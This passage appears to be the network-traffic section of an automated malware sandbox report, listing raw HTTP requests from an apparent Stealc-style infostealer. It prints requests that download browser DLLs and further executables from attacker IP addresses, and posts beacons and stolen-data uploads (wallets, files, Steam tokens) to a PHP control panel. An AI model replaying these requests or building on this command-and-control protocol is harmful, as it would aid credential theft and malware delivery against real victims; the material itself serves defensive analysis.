name="file"------CFBAKEHIEBKJJJJJKKKE--
Source: global traffic	HTTP traffic detected: GET /8405906461a5200c/freebl3.dll HTTP/1.1Host: 85.28.47.31Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /8405906461a5200c/mozglue.dll HTTP/1.1Host: 85.28.47.31Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /8405906461a5200c/msvcp140.dll HTTP/1.1Host: 85.28.47.31Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /8405906461a5200c/nss3.dll HTTP/1.1Host: 85.28.47.31Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /8405906461a5200c/softokn3.dll HTTP/1.1Host: 85.28.47.31Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /8405906461a5200c/vcruntime140.dll HTTP/1.1Host: 85.28.47.31Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /5499d72b3a3e55be.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EBAFHCBFHDHCAAKFHDGDHost: 85.28.47.31Content-Length: 947Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /5499d72b3a3e55be.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CBGCGDBKEGHIEBGDBFHDHost: 85.28.47.31Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 42 47 43 47 44 42 4b 45 47 48 49 45 42 47 44 42 46 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 35 37 32 38 39 62 37 66 37 39 65 30 66 37 63 61 34 66 30 30 39 66 65 30 33 39 62 32 33 38 37 30 66 61 63 62 64 61 36 37 65 61 33 66 66 34 39 64 30 33 64 39 65 39 35 66 63 63 65 31 62 36 34 34 64 64 63 33 30 37 34 0d 0a 2d 2d 2d 2d 2d 2d 43 42 47 43 47 44 42 4b 45 47 48 49 45 42 47 44 42 46 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 43 42 47 43 47 44 42 4b 45 47 48 49 45 42 47 44 42 46 48 44 2d 2d 0d 0a Data Ascii: ------CBGCGDBKEGHIEBGDBFHDContent-Disposition: form-data; name="token"a57289b7f79e0f7ca4f009fe039b23870facbda67ea3ff49d03d9e95fcce1b644ddc3074------CBGCGDBKEGHIEBGDBFHDContent-Disposition: form-data; name="message"wallets------CBGCGDBKEGHIEBGDBFHD--
Source: global traffic	HTTP traffic detected: POST /5499d72b3a3e55be.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JJKJDAEBFCBKECBGDBFCHost: 85.28.47.31Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4a 4b 4a 44 41 45 42 46 43 42 4b 45 43 42 47 44 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 35 37 32 38 39 62 37 66 37 39 65 30 66 37 63 61 34 66 30 30 39 66 65 30 33 39 62 32 33 38 37 30 66 61 63 62 64 61 36 37 65 61 33 66 66 34 39 64 30 33 64 39 65 39 35 66 63 63 65 31 62 36 34 34 64 64 63 33 30 37 34 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4b 4a 44 41 45 42 46 43 42 4b 45 43 42 47 44 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4b 4a 44 41 45 42 46 43 42 4b 45 43 42 47 44 42 46 43 2d 2d 0d 0a Data Ascii: ------JJKJDAEBFCBKECBGDBFCContent-Disposition: form-data; name="token"a57289b7f79e0f7ca4f009fe039b23870facbda67ea3ff49d03d9e95fcce1b644ddc3074------JJKJDAEBFCBKECBGDBFCContent-Disposition: form-data; name="message"ybncbhylepme------JJKJDAEBFCBKECBGDBFC--
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /soka/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /5499d72b3a3e55be.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JEBKJDAFHJDGDHJKKEGIHost: 85.28.47.31Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 45 42 4b 4a 44 41 46 48 4a 44 47 44 48 4a 4b 4b 45 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 35 37 32 38 39 62 37 66 37 39 65 30 66 37 63 61 34 66 30 30 39 66 65 30 33 39 62 32 33 38 37 30 66 61 63 62 64 61 36 37 65 61 33 66 66 34 39 64 30 33 64 39 65 39 35 66 63 63 65 31 62 36 34 34 64 64 63 33 30 37 34 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 42 4b 4a 44 41 46 48 4a 44 47 44 48 4a 4b 4b 45 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 42 4b 4a 44 41 46 48 4a 44 47 44 48 4a 4b 4b 45 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 42 4b 4a 44 41 46 48 4a 44 47 44 48 4a 4b 4b 45 47 49 2d 2d 0d 0a Data Ascii: ------JEBKJDAFHJDGDHJKKEGIContent-Disposition: form-data; name="token"a57289b7f79e0f7ca4f009fe039b23870facbda67ea3ff49d03d9e95fcce1b644ddc3074------JEBKJDAFHJDGDHJKKEGIContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------JEBKJDAFHJDGDHJKKEGIContent-Disposition: form-data; name="file"------JEBKJDAFHJDGDHJKKEGI--
Source: global traffic	HTTP traffic detected: POST /5499d72b3a3e55be.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HJJJJKEHCAKFBFHJKEHCHost: 85.28.47.31Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 4a 4a 4a 4a 4b 45 48 43 41 4b 46 42 46 48 4a 4b 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 35 37 32 38 39 62 37 66 37 39 65 30 66 37 63 61 34 66 30 30 39 66 65 30 33 39 62 32 33 38 37 30 66 61 63 62 64 61 36 37 65 61 33 66 66 34 39 64 30 33 64 39 65 39 35 66 63 63 65 31 62 36 34 34 64 64 63 33 30 37 34 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4a 4a 4a 4b 45 48 43 41 4b 46 42 46 48 4a 4b 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4a 4a 4a 4b 45 48 43 41 4b 46 42 46 48 4a 4b 45 48 43 2d 2d 0d 0a Data Ascii: ------HJJJJKEHCAKFBFHJKEHCContent-Disposition: form-data; name="token"a57289b7f79e0f7ca4f009fe039b23870facbda67ea3ff49d03d9e95fcce1b644ddc3074------HJJJJKEHCAKFBFHJKEHCContent-Disposition: form-data; name="message"files------HJJJJKEHCAKFBFHJKEHC--
Source: global traffic	HTTP traffic detected: POST /5499d72b3a3e55be.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KJKKKJJJKJKFHJJJJECBHost: 85.28.47.31Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4a 4b 4b 4b 4a 4a 4a 4b 4a 4b 46 48 4a 4a 4a 4a 45 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 35 37 32 38 39 62 37 66 37 39 65 30 66 37 63 61 34 66 30 30 39 66 65 30 33 39 62 32 33 38 37 30 66 61 63 62 64 61 36 37 65 61 33 66 66 34 39 64 30 33 64 39 65 39 35 66 63 63 65 31 62 36 34 34 64 64 63 33 30 37 34 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4b 4b 4b 4a 4a 4a 4b 4a 4b 46 48 4a 4a 4a 4a 45 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4b 4b 4b 4a 4a 4a 4b 4a 4b 46 48 4a 4a 4a 4a 45 43 42 2d 2d 0d 0a Data Ascii: ------KJKKKJJJKJKFHJJJJECBContent-Disposition: form-data; name="token"a57289b7f79e0f7ca4f009fe039b23870facbda67ea3ff49d03d9e95fcce1b644ddc3074------KJKKKJJJKJKFHJJJJECBContent-Disposition: form-data; name="message"wkkjqaiaxkhb------KJKKKJJJKJKFHJJJJECB--
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 31 32 38 37 35 42 33 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A77B12875B35E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: GET /stealc/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 30 30 31 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000016001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 85.28.47.31Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /5499d72b3a3e55be.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JJECGCBGDBKJJKEBFBFHHost: 85.28.47.31Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4a 45 43 47 43 42 47 44 42 4b 4a 4a 4b 45 42 46 42 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 43 39 33 46 38 45 45 43 36 45 39 31 30 34 31 30 39 35 32 36 35 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 45 43 47 43 42 47 44 42 4b 4a 4a 4b 45 42 46 42 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 69 6c 61 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 45 43 47 43 42 47 44 42 4b 4a 4a 4b 45 42 46 42 46 48 2d 2d 0d 0a Data Ascii: ------JJECGCBGDBKJJKEBFBFHContent-Disposition: form-data; name="hwid"6C93F8EEC6E91041095265------JJECGCBGDBKJJKEBFBFHContent-Disposition: form-data; name="build"sila------JJECGCBGDBKJJKEBFBFH--
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 30 30 31 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000017001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 31 32 38 37 35 42 33 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A77B12875B35E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 31 32 38 37 35 42 33 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A77B12875B35E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 31 32 38 37 35 42 33 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A77B12875B35E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 31 32 38 37 35 42 33 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A77B12875B35E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 31 32 38 37 35 42 33 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A77B12875B35E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 31 32 38 37 35 42 33 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A77B12875B35E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 31 32 38 37 35 42 33 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A77B12875B35E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 31 32 38 37 35 42 33 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A77B12875B35E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 85.28.47.31Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /5499d72b3a3e55be.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HJJJECFIECBGDGCAAAEHHost: 85.28.47.31Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 4a 4a 4a 45 43 46 49 45 43 42 47 44 47 43 41 41 41 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 43 39 33 46 38 45 45 43 36 45 39 31 30 34 31 30 39 35 32 36 35 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4a 4a 45 43 46 49 45 43 42 47 44 47 43 41 41 41 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 69 6c 61 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4a 4a 45 43 46 49 45 43 42 47 44 47 43 41 41 41 45 48 2d 2d 0d 0a Data Ascii: ------HJJJECFIECBGDGCAAAEHContent-Disposition: form-data; name="hwid"6C93F8EEC6E91041095265------HJJJECFIECBGDGCAAAEHContent-Disposition: form-data; name="build"sila------HJJJECFIECBGDGCAAAEH--
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 31 32 38 37 35 42 33 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A77B12875B35E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 31 32 38 37 35 42 33 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A77B12875B35E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
